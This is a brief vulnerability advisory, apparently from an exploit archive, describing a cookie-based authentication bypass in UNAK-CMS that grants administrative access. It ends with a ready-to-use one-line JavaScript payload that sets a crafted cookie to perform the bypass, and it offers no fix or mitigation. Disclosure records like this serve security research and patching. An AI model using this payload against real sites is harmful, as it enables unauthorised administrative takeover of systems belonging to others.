UNAK-CMS - Cookie Authentication Bypass

source: https://www.securityfocus.com/bid/31301/info

UNAK-CMS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible. 

javascript:document.cookie = "unak_lang=1; path=/";